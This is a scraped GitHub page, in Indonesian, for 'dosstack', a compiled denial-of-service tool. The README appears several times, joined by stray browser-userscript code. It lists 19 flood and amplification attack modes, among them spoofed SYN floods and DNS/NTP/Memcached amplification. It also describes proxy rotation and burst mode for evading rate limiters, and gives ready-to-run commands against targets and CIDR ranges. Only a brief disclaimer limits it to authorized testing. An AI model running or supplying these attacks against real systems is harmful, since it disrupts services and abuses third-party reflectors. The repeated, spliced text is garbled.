Repository files navigation

██████╗ ██████╗ ███████╗███████╗████████╗ █████╗ ██████╗██╗ ██╗
██╔══██╗██╔═══██╗██╔════╝██╔════╝╚══██╔══╝██╔══██╗██╔════╝██║ ██╔╝
██║ ██║██║ ██║███████╗███████╗ ██║ ███████║██║ █████╔╝
██║ ██║██║ ██║╚════██║╚════██║ ██║ ██╔══██║██║ ██╔═██╗
██████╔╝╚██████╔╝███████║███████║ ██║ ██║ ██║╚██████╗██║ ██╗
╚═════╝ ╚═════╝ ╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝
By.IshikawaUta — DoS Framework — Authorized Testing Only
Compiled Binary — No Python Required

⚠️ PERINGATAN HUKUM: Alat ini hanya untuk pengujian otorisasi pada sistem yang Anda miliki atau telah mendapatkan izin tertulis. Penyalahgunaan untuk serangan tanpa izin adalah tindak pidana di banyak negara. Penulis tidak bertanggung jawab atas penyalahgunaan.


Fitur

  • 19 mode serangan: HTTP, TCP, UDP, Slowloris, ICMP, TLS, Mixed, SYN/ACK/RST/FIN/SYNACK raw, IP frag, dan 6 amplifikasi (DNS/NTP/SSDP/Memcached/SNMP/CharGEN)
  • 3 engine: Thread pool, epoll event loop (10k+ koneksi), multiprocessing (multi-core)
  • Connection pooling: HTTP keep-alive reuse untuk throughput tinggi
  • Burst mode: Burst lalu idle untuk evade rate limiter
  • Bandwidth control: Batasi outbound traffic (kbps)
  • Multi-target: File daftar target atau CIDR scan (--scan)
  • Spoof IP: Raw socket dengan source IP palsu (root)
  • Proxy rotation: Rotasi proxy otomatis dari file
  • Attack profiles: Simpan/muat konfigurasi
  • Real-time stats: Live dashboard dengan rich
  • Output JSON: Simpan hasil akhir

Instalasi

git clone https://github.com/IshikawaUta/dosstack.git
cd dosstack
chmod +x dosstack-cli dosstack-gui

Binary PyInstaller standalone — tidak perlu Python, rich, atau dependencies apapun.


Penggunaan Dasar

./dosstack-cli <target> -m <mode> -t <threads> -d <duration>
ArgumenDeskripsiDefault
targetIP atau hostname (atau CIDR dengan --scan)wajib
-m, --modeMode seranganhttp
-t, --threadsJumlah thread/worker100
-d, --durationDurasi detik (0 = unlimited)60
-p, --portPort target80
--timeoutTimeout koneksi (detik)5

Mode Serangan

ModeKeteranganRoot?
httpHTTP GET/POST flood
tcpTCP connect flood
udpUDP flood
slowlorisSlowloris keep-alive
icmpICMP echo floodya
tlsTLS handshake flood
mixedKombinasi acak http/tcp/udp/tls
synRaw TCP SYN floodya
ackRaw TCP ACK floodya
rstRaw TCP RST floodya
finRaw TCP FIN floodya
synackRaw TCP SYN-ACK floodya
fragIP fragmentation floodya
dns_ampDNS amplification (port 53)
ntp_ampNTP amplification (port 123)
ssdp_ampSSDP amplification (port 1900)
memcache_ampMemcached amplification (port 11211)
snmp_ampSNMP amplification (port 161)
chargen_ampCharGEN amplification (port 19)

Engine

Tiga engine yang bisa dipilih:

EngineFlagKeunggulanUse Case
Thread pool(default)Stabil, kompatibelSerangan umum ≤1000 threads
Epoll event loop--epoll10k+ koneksi simultanHTTP flood massive
Multiprocessing--mp --processes NMulti-coreDistributed attack
AsyncIO--workers asyncNon-blocking I/OBanyak koneksi idle (slowloris)

Contoh Engine

# Thread pool (default)
./dosstack-cli target.com -m http -t 500 -d 60
# Epoll event loop — 10k+ koneksi
./dosstack-cli target.com -m http -t 2000 -d 120 --epoll
# Multiprocessing — semua core
./dosstack-cli target.com -m http --mp -t 2000 -d 60
# Multiprocessing — 4 proses spesifik
./dosstack-cli target.com -m http --mp --processes 4 -t 1000
# AsyncIO workers
./dosstack-cli target.com -m http --workers async --concurrency 2000 -d 60

Opsi Detail

Opsi HTTP

ArgumenDeskripsi
--path /loginPath HTTP
--random-pathPath acak tiap request
--method POSTMetode HTTP (GET/POST/HEAD/PUT/OPTIONS)
--body '{"x":1}'Body untuk POST/PUT
--no-agentNonaktifkan User-Agent acak
--no-refererNonaktifkan Referer acak
--header "X-Custom: val"Custom header (bisa diulang)

Opsi Raw TCP (root required)

ArgumenDeskripsi
--tcp-flag synTCP flag (syn/ack/rst/fin/synack)
--frag-size 24Ukuran payload fragment
--spoof-ip 1.2.3.4IP sumber palsu

Opsi Amplifikasi

ArgumenDeskripsi
--amp-proto dnsProtokol amplifikasi
--dns-server 8.8.8.8DNS server target
--packet-count 10Packet per burst

Opsi Slowloris

ArgumenDeskripsi
--slowloris-sockets 400Maks socket per worker
--keepalive-interval 10Interval keepalive (detik)

Opsi Mixed

ArgumenDeskripsi
--weights 25 25 25 25Bobot HTTP TCP UDP TLS

Performance

ArgumenDeskripsi
--reuse-connHTTP keep-alive connection reuse
--pool-size 200Ukuran connection pool
--ramp-up 10Ramp-up gradual (detik)
--concurrency 500Concurrency untuk async workers

Evasion & Traffic Shaping

ArgumenDeskripsi
--interval 0.1Delay antar request (detik)
--jitter 0.5Jitter acak untuk interval
--burstBurst mode
--burst-size 100Request per burst
--burst-interval 2Durasi burst (detik)
--idle-interval 1Idle antar burst (detik)
--max-kbps 500Batas bandwidth

Proxy

ArgumenDeskripsi
--proxy-file proxies.txtFile daftar proxy (satu per baris: ip:port atau user:pass@ip:port)
--proxy-rotate 10Rotasi tiap N request

Multi-target

ArgumenDeskripsi
--targets-file list.txtTarget dari file (satu per baris)
--scanExpand CIDR (contoh: 10.0.0.0/24)

Output & Logging

ArgumenDeskripsi
--output hasil.jsonSimpan statistik ke JSON
--log-file attack.logLog ke file
--log-level DEBUGLevel logging
--quietMinimal output

Profile & Config

ArgumenDeskripsi
--profile-save heavySimpan argumen sebagai profile
--profile-load heavyMuat profile
--profile-listLihat daftar profile
--profile-delete heavyHapus profile
--config-saveSimpan konfigurasi
--config-loadMuat konfigurasi

Kombinasi Siap Pakai

HTTP Flood — 500 thread, 60 detik

./dosstack-cli target.com -m http -t 500 -d 60 --random-path --header "X-Bypass: 1"

HTTP Epoll — 2000 thread, connection reuse

./dosstack-cli target.com -m http -t 2000 -d 120 --epoll --reuse-conn --pool-size 500

TLS Handshake — HTTPS

./dosstack-cli target.com -m tls -p 443 -t 200 -d 60

Slowloris — 400 socket

./dosstack-cli target.com -m slowloris -t 200 -d 300 --slowloris-sockets 400 --keepalive-interval 10

Mixed — multiprocessing 4 core

./dosstack-cli target.com -m mixed -t 2000 -d 60 --mp --processes 4 --weights 25 25 25 25

SYN Flood — spoof IP (root)

sudo ./dosstack-cli target.com -m syn -t 10 -d 30 --spoof-ip 192.168.1.1

DNS Amplification — spoof (root)

sudo ./dosstack-cli target.com -m dns_amp -p 53 -t 5 -d 30 --spoof-ip 1.2.3.4

Burst Mode — evade rate limiter

./dosstack-cli target.com -m http -t 100 -d 120 --burst --burst-size 50 --burst-interval 1 --idle-interval 2

Bandwidth Controlled — 100 kbps

./dosstack-cli target.com -m tcp -t 100 -d 60 --max-kbps 100

Async Workers — unlimited duration

./dosstack-cli target.com -m http --workers async --concurrency 2000 -d 0

Multi-target — CIDR scan

./dosstack-cli 10.0.0.0/28 -m http --scan -t 200 -d 30 --epoll

Proxy Rotation

./dosstack-cli target.com -m http -t 100 -d 60 --proxy-file proxies.txt --proxy-rotate 10

Screenshots

About

DoS testing framework with 19 attack modes, 3 engines (thread/epoll/multiprocessing), connection pooling, burst mode, bandwidth control, proxy rotation, multi-target, and spoof IP. Compiled standalone binary — no Python required.

Topics

Resources

Stars

1 star

Watchers

0 watching

Forks

Releases

Packages

Contributors

, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Add copy buttons to all
 blocks\n(function() {\n function addCopyButtons() {\n document.querySelectorAll('pre code').forEach(function(codeBlock) {\n if (codeBlock.parentElement.hasAttribute('data-copy-added')) return;\n codeBlock.parentElement.setAttribute('data-copy-added', 'true');\n \n var btn = document.createElement('button');\n btn.textContent = 'Copy';\n btn.style.cssText = 'position:absolute;top:4px;right:4px;padding:2px 8px;font-size:11px;background:#4ecdc4;border:none;border-radius:4px;color:#1a1a2e;cursor:pointer;opacity:0.7;transition:opacity 0.2s;';\n btn.onmouseover = function() { this.style.opacity = '1'; };\n btn.onmouseout = function() { this.style.opacity = '0.7'; };\n btn.onclick = function() {\n navigator.clipboard.writeText(codeBlock.textContent).then(function() {\n btn.textContent = 'Copied!';\n setTimeout(function() { btn.textContent = 'Copy'; }, 1500);\n });\n };\n codeBlock.parentElement.style.position = 'relative';\n codeBlock.parentElement.appendChild(btn);\n });\n }\n \n addCopyButtons();\n \n // Re-run on dynamic content\n var observer = new MutationObserver(addCopyButtons);\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "Add Copy Buttons to Code Blocks");
}
} catch(__e) { console.warn('[Userscript:Add Copy Buttons to Code Blocks]', __e); }
})();
(function(){
try {
var __m = "github.com";
var __re = new RegExp('^' + "github\\.com" + '
Skip to content

Repository files navigation

██████╗ ██████╗ ███████╗███████╗████████╗ █████╗ ██████╗██╗ ██╗
██╔══██╗██╔═══██╗██╔════╝██╔════╝╚══██╔══╝██╔══██╗██╔════╝██║ ██╔╝
██║ ██║██║ ██║███████╗███████╗ ██║ ███████║██║ █████╔╝
██║ ██║██║ ██║╚════██║╚════██║ ██║ ██╔══██║██║ ██╔═██╗
██████╔╝╚██████╔╝███████║███████║ ██║ ██║ ██║╚██████╗██║ ██╗
╚═════╝ ╚═════╝ ╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝
By.IshikawaUta — DoS Framework — Authorized Testing Only
Compiled Binary — No Python Required

⚠️ PERINGATAN HUKUM: Alat ini hanya untuk pengujian otorisasi pada sistem yang Anda miliki atau telah mendapatkan izin tertulis. Penyalahgunaan untuk serangan tanpa izin adalah tindak pidana di banyak negara. Penulis tidak bertanggung jawab atas penyalahgunaan.


Fitur

  • 19 mode serangan: HTTP, TCP, UDP, Slowloris, ICMP, TLS, Mixed, SYN/ACK/RST/FIN/SYNACK raw, IP frag, dan 6 amplifikasi (DNS/NTP/SSDP/Memcached/SNMP/CharGEN)
  • 3 engine: Thread pool, epoll event loop (10k+ koneksi), multiprocessing (multi-core)
  • Connection pooling: HTTP keep-alive reuse untuk throughput tinggi
  • Burst mode: Burst lalu idle untuk evade rate limiter
  • Bandwidth control: Batasi outbound traffic (kbps)
  • Multi-target: File daftar target atau CIDR scan (--scan)
  • Spoof IP: Raw socket dengan source IP palsu (root)
  • Proxy rotation: Rotasi proxy otomatis dari file
  • Attack profiles: Simpan/muat konfigurasi
  • Real-time stats: Live dashboard dengan rich
  • Output JSON: Simpan hasil akhir

Instalasi

git clone https://github.com/IshikawaUta/dosstack.git
cd dosstack
chmod +x dosstack-cli dosstack-gui

Binary PyInstaller standalone — tidak perlu Python, rich, atau dependencies apapun.


Penggunaan Dasar

./dosstack-cli <target> -m <mode> -t <threads> -d <duration>
ArgumenDeskripsiDefault
targetIP atau hostname (atau CIDR dengan --scan)wajib
-m, --modeMode seranganhttp
-t, --threadsJumlah thread/worker100
-d, --durationDurasi detik (0 = unlimited)60
-p, --portPort target80
--timeoutTimeout koneksi (detik)5

Mode Serangan

ModeKeteranganRoot?
httpHTTP GET/POST flood
tcpTCP connect flood
udpUDP flood
slowlorisSlowloris keep-alive
icmpICMP echo floodya
tlsTLS handshake flood
mixedKombinasi acak http/tcp/udp/tls
synRaw TCP SYN floodya
ackRaw TCP ACK floodya
rstRaw TCP RST floodya
finRaw TCP FIN floodya
synackRaw TCP SYN-ACK floodya
fragIP fragmentation floodya
dns_ampDNS amplification (port 53)
ntp_ampNTP amplification (port 123)
ssdp_ampSSDP amplification (port 1900)
memcache_ampMemcached amplification (port 11211)
snmp_ampSNMP amplification (port 161)
chargen_ampCharGEN amplification (port 19)

Engine

Tiga engine yang bisa dipilih:

EngineFlagKeunggulanUse Case
Thread pool(default)Stabil, kompatibelSerangan umum ≤1000 threads
Epoll event loop--epoll10k+ koneksi simultanHTTP flood massive
Multiprocessing--mp --processes NMulti-coreDistributed attack
AsyncIO--workers asyncNon-blocking I/OBanyak koneksi idle (slowloris)

Contoh Engine

# Thread pool (default)
./dosstack-cli target.com -m http -t 500 -d 60
# Epoll event loop — 10k+ koneksi
./dosstack-cli target.com -m http -t 2000 -d 120 --epoll
# Multiprocessing — semua core
./dosstack-cli target.com -m http --mp -t 2000 -d 60
# Multiprocessing — 4 proses spesifik
./dosstack-cli target.com -m http --mp --processes 4 -t 1000
# AsyncIO workers
./dosstack-cli target.com -m http --workers async --concurrency 2000 -d 60

Opsi Detail

Opsi HTTP

ArgumenDeskripsi
--path /loginPath HTTP
--random-pathPath acak tiap request
--method POSTMetode HTTP (GET/POST/HEAD/PUT/OPTIONS)
--body '{"x":1}'Body untuk POST/PUT
--no-agentNonaktifkan User-Agent acak
--no-refererNonaktifkan Referer acak
--header "X-Custom: val"Custom header (bisa diulang)

Opsi Raw TCP (root required)

ArgumenDeskripsi
--tcp-flag synTCP flag (syn/ack/rst/fin/synack)
--frag-size 24Ukuran payload fragment
--spoof-ip 1.2.3.4IP sumber palsu

Opsi Amplifikasi

ArgumenDeskripsi
--amp-proto dnsProtokol amplifikasi
--dns-server 8.8.8.8DNS server target
--packet-count 10Packet per burst

Opsi Slowloris

ArgumenDeskripsi
--slowloris-sockets 400Maks socket per worker
--keepalive-interval 10Interval keepalive (detik)

Opsi Mixed

ArgumenDeskripsi
--weights 25 25 25 25Bobot HTTP TCP UDP TLS

Performance

ArgumenDeskripsi
--reuse-connHTTP keep-alive connection reuse
--pool-size 200Ukuran connection pool
--ramp-up 10Ramp-up gradual (detik)
--concurrency 500Concurrency untuk async workers

Evasion & Traffic Shaping

ArgumenDeskripsi
--interval 0.1Delay antar request (detik)
--jitter 0.5Jitter acak untuk interval
--burstBurst mode
--burst-size 100Request per burst
--burst-interval 2Durasi burst (detik)
--idle-interval 1Idle antar burst (detik)
--max-kbps 500Batas bandwidth

Proxy

ArgumenDeskripsi
--proxy-file proxies.txtFile daftar proxy (satu per baris: ip:port atau user:pass@ip:port)
--proxy-rotate 10Rotasi tiap N request

Multi-target

ArgumenDeskripsi
--targets-file list.txtTarget dari file (satu per baris)
--scanExpand CIDR (contoh: 10.0.0.0/24)

Output & Logging

ArgumenDeskripsi
--output hasil.jsonSimpan statistik ke JSON
--log-file attack.logLog ke file
--log-level DEBUGLevel logging
--quietMinimal output

Profile & Config

ArgumenDeskripsi
--profile-save heavySimpan argumen sebagai profile
--profile-load heavyMuat profile
--profile-listLihat daftar profile
--profile-delete heavyHapus profile
--config-saveSimpan konfigurasi
--config-loadMuat konfigurasi

Kombinasi Siap Pakai

HTTP Flood — 500 thread, 60 detik

./dosstack-cli target.com -m http -t 500 -d 60 --random-path --header "X-Bypass: 1"

HTTP Epoll — 2000 thread, connection reuse

./dosstack-cli target.com -m http -t 2000 -d 120 --epoll --reuse-conn --pool-size 500

TLS Handshake — HTTPS

./dosstack-cli target.com -m tls -p 443 -t 200 -d 60

Slowloris — 400 socket

./dosstack-cli target.com -m slowloris -t 200 -d 300 --slowloris-sockets 400 --keepalive-interval 10

Mixed — multiprocessing 4 core

./dosstack-cli target.com -m mixed -t 2000 -d 60 --mp --processes 4 --weights 25 25 25 25

SYN Flood — spoof IP (root)

sudo ./dosstack-cli target.com -m syn -t 10 -d 30 --spoof-ip 192.168.1.1

DNS Amplification — spoof (root)

sudo ./dosstack-cli target.com -m dns_amp -p 53 -t 5 -d 30 --spoof-ip 1.2.3.4

Burst Mode — evade rate limiter

./dosstack-cli target.com -m http -t 100 -d 120 --burst --burst-size 50 --burst-interval 1 --idle-interval 2

Bandwidth Controlled — 100 kbps

./dosstack-cli target.com -m tcp -t 100 -d 60 --max-kbps 100

Async Workers — unlimited duration

./dosstack-cli target.com -m http --workers async --concurrency 2000 -d 0

Multi-target — CIDR scan

./dosstack-cli 10.0.0.0/28 -m http --scan -t 200 -d 30 --epoll

Proxy Rotation

./dosstack-cli target.com -m http -t 100 -d 60 --proxy-file proxies.txt --proxy-rotate 10

Screenshots

About

DoS testing framework with 19 attack modes, 3 engines (thread/epoll/multiprocessing), connection pooling, burst mode, bandwidth control, proxy rotation, multi-target, and spoof IP. Compiled standalone binary — no Python required.

Topics

Resources

Stars

1 star

Watchers

0 watching

Forks

Releases

Packages

Contributors

, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Force GitHub README to respect dark mode\n(function() {\n var style = document.createElement('style');\n style.textContent = '\n .markdown-body {\n color-scheme: dark light;\n }\n .markdown-body pre { background: #161b22 !important; }\n .markdown-body code { background: rgba(110, 118, 129, 0.4) !important; }\n .markdown-body table th, .markdown-body table td { border-color: #30363d !important; }\n .markdown-body img { background: #0d1117; }\n .markdown-body blockquote { border-left-color: #8b949e; }\n .markdown-body hr { border-color: #30363d; }\n ';\n document.head.appendChild(style);\n})();", "GitHub Dark Mode README Fix"); } } catch(__e) { console.warn('[Userscript:GitHub Dark Mode README Fix]', __e); } })(); (function(){ try { var __m = "*"; var __re = new RegExp('^' + ".*" + '
Skip to content

Repository files navigation

██████╗ ██████╗ ███████╗███████╗████████╗ █████╗ ██████╗██╗ ██╗
██╔══██╗██╔═══██╗██╔════╝██╔════╝╚══██╔══╝██╔══██╗██╔════╝██║ ██╔╝
██║ ██║██║ ██║███████╗███████╗ ██║ ███████║██║ █████╔╝
██║ ██║██║ ██║╚════██║╚════██║ ██║ ██╔══██║██║ ██╔═██╗
██████╔╝╚██████╔╝███████║███████║ ██║ ██║ ██║╚██████╗██║ ██╗
╚═════╝ ╚═════╝ ╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝
By.IshikawaUta — DoS Framework — Authorized Testing Only
Compiled Binary — No Python Required

⚠️ PERINGATAN HUKUM: Alat ini hanya untuk pengujian otorisasi pada sistem yang Anda miliki atau telah mendapatkan izin tertulis. Penyalahgunaan untuk serangan tanpa izin adalah tindak pidana di banyak negara. Penulis tidak bertanggung jawab atas penyalahgunaan.


Fitur

  • 19 mode serangan: HTTP, TCP, UDP, Slowloris, ICMP, TLS, Mixed, SYN/ACK/RST/FIN/SYNACK raw, IP frag, dan 6 amplifikasi (DNS/NTP/SSDP/Memcached/SNMP/CharGEN)
  • 3 engine: Thread pool, epoll event loop (10k+ koneksi), multiprocessing (multi-core)
  • Connection pooling: HTTP keep-alive reuse untuk throughput tinggi
  • Burst mode: Burst lalu idle untuk evade rate limiter
  • Bandwidth control: Batasi outbound traffic (kbps)
  • Multi-target: File daftar target atau CIDR scan (--scan)
  • Spoof IP: Raw socket dengan source IP palsu (root)
  • Proxy rotation: Rotasi proxy otomatis dari file
  • Attack profiles: Simpan/muat konfigurasi
  • Real-time stats: Live dashboard dengan rich
  • Output JSON: Simpan hasil akhir

Instalasi

git clone https://github.com/IshikawaUta/dosstack.git
cd dosstack
chmod +x dosstack-cli dosstack-gui

Binary PyInstaller standalone — tidak perlu Python, rich, atau dependencies apapun.


Penggunaan Dasar

./dosstack-cli <target> -m <mode> -t <threads> -d <duration>
ArgumenDeskripsiDefault
targetIP atau hostname (atau CIDR dengan --scan)wajib
-m, --modeMode seranganhttp
-t, --threadsJumlah thread/worker100
-d, --durationDurasi detik (0 = unlimited)60
-p, --portPort target80
--timeoutTimeout koneksi (detik)5

Mode Serangan

ModeKeteranganRoot?
httpHTTP GET/POST flood
tcpTCP connect flood
udpUDP flood
slowlorisSlowloris keep-alive
icmpICMP echo floodya
tlsTLS handshake flood
mixedKombinasi acak http/tcp/udp/tls
synRaw TCP SYN floodya
ackRaw TCP ACK floodya
rstRaw TCP RST floodya
finRaw TCP FIN floodya
synackRaw TCP SYN-ACK floodya
fragIP fragmentation floodya
dns_ampDNS amplification (port 53)
ntp_ampNTP amplification (port 123)
ssdp_ampSSDP amplification (port 1900)
memcache_ampMemcached amplification (port 11211)
snmp_ampSNMP amplification (port 161)
chargen_ampCharGEN amplification (port 19)

Engine

Tiga engine yang bisa dipilih:

EngineFlagKeunggulanUse Case
Thread pool(default)Stabil, kompatibelSerangan umum ≤1000 threads
Epoll event loop--epoll10k+ koneksi simultanHTTP flood massive
Multiprocessing--mp --processes NMulti-coreDistributed attack
AsyncIO--workers asyncNon-blocking I/OBanyak koneksi idle (slowloris)

Contoh Engine

# Thread pool (default)
./dosstack-cli target.com -m http -t 500 -d 60
# Epoll event loop — 10k+ koneksi
./dosstack-cli target.com -m http -t 2000 -d 120 --epoll
# Multiprocessing — semua core
./dosstack-cli target.com -m http --mp -t 2000 -d 60
# Multiprocessing — 4 proses spesifik
./dosstack-cli target.com -m http --mp --processes 4 -t 1000
# AsyncIO workers
./dosstack-cli target.com -m http --workers async --concurrency 2000 -d 60

Opsi Detail

Opsi HTTP

ArgumenDeskripsi
--path /loginPath HTTP
--random-pathPath acak tiap request
--method POSTMetode HTTP (GET/POST/HEAD/PUT/OPTIONS)
--body '{"x":1}'Body untuk POST/PUT
--no-agentNonaktifkan User-Agent acak
--no-refererNonaktifkan Referer acak
--header "X-Custom: val"Custom header (bisa diulang)

Opsi Raw TCP (root required)

ArgumenDeskripsi
--tcp-flag synTCP flag (syn/ack/rst/fin/synack)
--frag-size 24Ukuran payload fragment
--spoof-ip 1.2.3.4IP sumber palsu

Opsi Amplifikasi

ArgumenDeskripsi
--amp-proto dnsProtokol amplifikasi
--dns-server 8.8.8.8DNS server target
--packet-count 10Packet per burst

Opsi Slowloris

ArgumenDeskripsi
--slowloris-sockets 400Maks socket per worker
--keepalive-interval 10Interval keepalive (detik)

Opsi Mixed

ArgumenDeskripsi
--weights 25 25 25 25Bobot HTTP TCP UDP TLS

Performance

ArgumenDeskripsi
--reuse-connHTTP keep-alive connection reuse
--pool-size 200Ukuran connection pool
--ramp-up 10Ramp-up gradual (detik)
--concurrency 500Concurrency untuk async workers

Evasion & Traffic Shaping

ArgumenDeskripsi
--interval 0.1Delay antar request (detik)
--jitter 0.5Jitter acak untuk interval
--burstBurst mode
--burst-size 100Request per burst
--burst-interval 2Durasi burst (detik)
--idle-interval 1Idle antar burst (detik)
--max-kbps 500Batas bandwidth

Proxy

ArgumenDeskripsi
--proxy-file proxies.txtFile daftar proxy (satu per baris: ip:port atau user:pass@ip:port)
--proxy-rotate 10Rotasi tiap N request

Multi-target

ArgumenDeskripsi
--targets-file list.txtTarget dari file (satu per baris)
--scanExpand CIDR (contoh: 10.0.0.0/24)

Output & Logging

ArgumenDeskripsi
--output hasil.jsonSimpan statistik ke JSON
--log-file attack.logLog ke file
--log-level DEBUGLevel logging
--quietMinimal output

Profile & Config

ArgumenDeskripsi
--profile-save heavySimpan argumen sebagai profile
--profile-load heavyMuat profile
--profile-listLihat daftar profile
--profile-delete heavyHapus profile
--config-saveSimpan konfigurasi
--config-loadMuat konfigurasi

Kombinasi Siap Pakai

HTTP Flood — 500 thread, 60 detik

./dosstack-cli target.com -m http -t 500 -d 60 --random-path --header "X-Bypass: 1"

HTTP Epoll — 2000 thread, connection reuse

./dosstack-cli target.com -m http -t 2000 -d 120 --epoll --reuse-conn --pool-size 500

TLS Handshake — HTTPS

./dosstack-cli target.com -m tls -p 443 -t 200 -d 60

Slowloris — 400 socket

./dosstack-cli target.com -m slowloris -t 200 -d 300 --slowloris-sockets 400 --keepalive-interval 10

Mixed — multiprocessing 4 core

./dosstack-cli target.com -m mixed -t 2000 -d 60 --mp --processes 4 --weights 25 25 25 25

SYN Flood — spoof IP (root)

sudo ./dosstack-cli target.com -m syn -t 10 -d 30 --spoof-ip 192.168.1.1

DNS Amplification — spoof (root)

sudo ./dosstack-cli target.com -m dns_amp -p 53 -t 5 -d 30 --spoof-ip 1.2.3.4

Burst Mode — evade rate limiter

./dosstack-cli target.com -m http -t 100 -d 120 --burst --burst-size 50 --burst-interval 1 --idle-interval 2

Bandwidth Controlled — 100 kbps

./dosstack-cli target.com -m tcp -t 100 -d 60 --max-kbps 100

Async Workers — unlimited duration

./dosstack-cli target.com -m http --workers async --concurrency 2000 -d 0

Multi-target — CIDR scan

./dosstack-cli 10.0.0.0/28 -m http --scan -t 200 -d 30 --epoll

Proxy Rotation

./dosstack-cli target.com -m http -t 100 -d 60 --proxy-file proxies.txt --proxy-rotate 10

Screenshots

About

DoS testing framework with 19 attack modes, 3 engines (thread/epoll/multiprocessing), connection pooling, burst mode, bandwidth control, proxy rotation, multi-target, and spoof IP. Compiled standalone binary — no Python required.

Topics

Resources

Stars

1 star

Watchers

0 watching

Forks

Releases

Packages

Contributors

, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Highlight search terms from Google/DuckDuckGo/Bing referrer\n(function() {\n var ref = document.referrer;\n var terms = [];\n \n if (ref.includes('google.com') || ref.includes('duckduckgo.com') || ref.includes('bing.com')) {\n var url = new URL(ref);\n var q = url.searchParams.get('q') || url.searchParams.get('p');\n if (q) {\n terms = q.split(/\\s+/).filter(function(t) { return t.length > 2; });\n }\n }\n \n if (terms.length === 0) return;\n \n var style = document.createElement('style');\n style.textContent = '.userscript-highlight { background: #fbbf24; color: #1a1a2e; padding: 1px 3px; border-radius: 2px; }';\n document.head.appendChild(style);\n \n function highlight(node) {\n if (node.nodeType === 3) { // text node\n var text = node.textContent;\n var found = false;\n terms.forEach(function(term) {\n var regex = new RegExp('(' + term.replace(/[.*+?^${}()|[\\]\\\\]/g, '\\\\') + ')', 'gi');\n if (regex.test(text)) {\n found = true;\n var frag = document.createDocumentFragment();\n var parts = text.split(regex);\n parts.forEach(function(part, i) {\n if (i % 2 === 0) {\n frag.appendChild(document.createTextNode(part));\n } else {\n var span = document.createElement('span');\n span.className = 'userscript-highlight';\n span.textContent = part;\n frag.appendChild(span);\n }\n });\n node.parentNode.replaceChild(frag, node);\n }\n });\n } else if (node.nodeType === 1 && node.childNodes) { // element\n var skipTags = ['SCRIPT', 'STYLE', 'NOSCRIPT', 'TEXTAREA', 'INPUT', 'SELECT'];\n if (!skipTags.includes(node.tagName)) {\n Array.from(node.childNodes).forEach(highlight);\n }\n }\n }\n \n highlight(document.body);\n \n // Re-highlight on dynamic content\n var observer = new MutationObserver(function(mutations) {\n mutations.forEach(function(m) {\n m.addedNodes.forEach(function(node) {\n if (node.nodeType === 1 || node.nodeType === 3) highlight(node);\n });\n });\n });\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "Highlight Search Terms"); } } catch(__e) { console.warn('[Userscript:Highlight Search Terms]', __e); } })(); (function(){ try { var __m = "*"; var __re = new RegExp('^' + ".*" + '
Skip to content

Repository files navigation

██████╗ ██████╗ ███████╗███████╗████████╗ █████╗ ██████╗██╗ ██╗
██╔══██╗██╔═══██╗██╔════╝██╔════╝╚══██╔══╝██╔══██╗██╔════╝██║ ██╔╝
██║ ██║██║ ██║███████╗███████╗ ██║ ███████║██║ █████╔╝
██║ ██║██║ ██║╚════██║╚════██║ ██║ ██╔══██║██║ ██╔═██╗
██████╔╝╚██████╔╝███████║███████║ ██║ ██║ ██║╚██████╗██║ ██╗
╚═════╝ ╚═════╝ ╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝
By.IshikawaUta — DoS Framework — Authorized Testing Only
Compiled Binary — No Python Required

⚠️ PERINGATAN HUKUM: Alat ini hanya untuk pengujian otorisasi pada sistem yang Anda miliki atau telah mendapatkan izin tertulis. Penyalahgunaan untuk serangan tanpa izin adalah tindak pidana di banyak negara. Penulis tidak bertanggung jawab atas penyalahgunaan.


Fitur

  • 19 mode serangan: HTTP, TCP, UDP, Slowloris, ICMP, TLS, Mixed, SYN/ACK/RST/FIN/SYNACK raw, IP frag, dan 6 amplifikasi (DNS/NTP/SSDP/Memcached/SNMP/CharGEN)
  • 3 engine: Thread pool, epoll event loop (10k+ koneksi), multiprocessing (multi-core)
  • Connection pooling: HTTP keep-alive reuse untuk throughput tinggi
  • Burst mode: Burst lalu idle untuk evade rate limiter
  • Bandwidth control: Batasi outbound traffic (kbps)
  • Multi-target: File daftar target atau CIDR scan (--scan)
  • Spoof IP: Raw socket dengan source IP palsu (root)
  • Proxy rotation: Rotasi proxy otomatis dari file
  • Attack profiles: Simpan/muat konfigurasi
  • Real-time stats: Live dashboard dengan rich
  • Output JSON: Simpan hasil akhir

Instalasi

git clone https://github.com/IshikawaUta/dosstack.git
cd dosstack
chmod +x dosstack-cli dosstack-gui

Binary PyInstaller standalone — tidak perlu Python, rich, atau dependencies apapun.


Penggunaan Dasar

./dosstack-cli <target> -m <mode> -t <threads> -d <duration>
ArgumenDeskripsiDefault
targetIP atau hostname (atau CIDR dengan --scan)wajib
-m, --modeMode seranganhttp
-t, --threadsJumlah thread/worker100
-d, --durationDurasi detik (0 = unlimited)60
-p, --portPort target80
--timeoutTimeout koneksi (detik)5

Mode Serangan

ModeKeteranganRoot?
httpHTTP GET/POST flood
tcpTCP connect flood
udpUDP flood
slowlorisSlowloris keep-alive
icmpICMP echo floodya
tlsTLS handshake flood
mixedKombinasi acak http/tcp/udp/tls
synRaw TCP SYN floodya
ackRaw TCP ACK floodya
rstRaw TCP RST floodya
finRaw TCP FIN floodya
synackRaw TCP SYN-ACK floodya
fragIP fragmentation floodya
dns_ampDNS amplification (port 53)
ntp_ampNTP amplification (port 123)
ssdp_ampSSDP amplification (port 1900)
memcache_ampMemcached amplification (port 11211)
snmp_ampSNMP amplification (port 161)
chargen_ampCharGEN amplification (port 19)

Engine

Tiga engine yang bisa dipilih:

EngineFlagKeunggulanUse Case
Thread pool(default)Stabil, kompatibelSerangan umum ≤1000 threads
Epoll event loop--epoll10k+ koneksi simultanHTTP flood massive
Multiprocessing--mp --processes NMulti-coreDistributed attack
AsyncIO--workers asyncNon-blocking I/OBanyak koneksi idle (slowloris)

Contoh Engine

# Thread pool (default)
./dosstack-cli target.com -m http -t 500 -d 60
# Epoll event loop — 10k+ koneksi
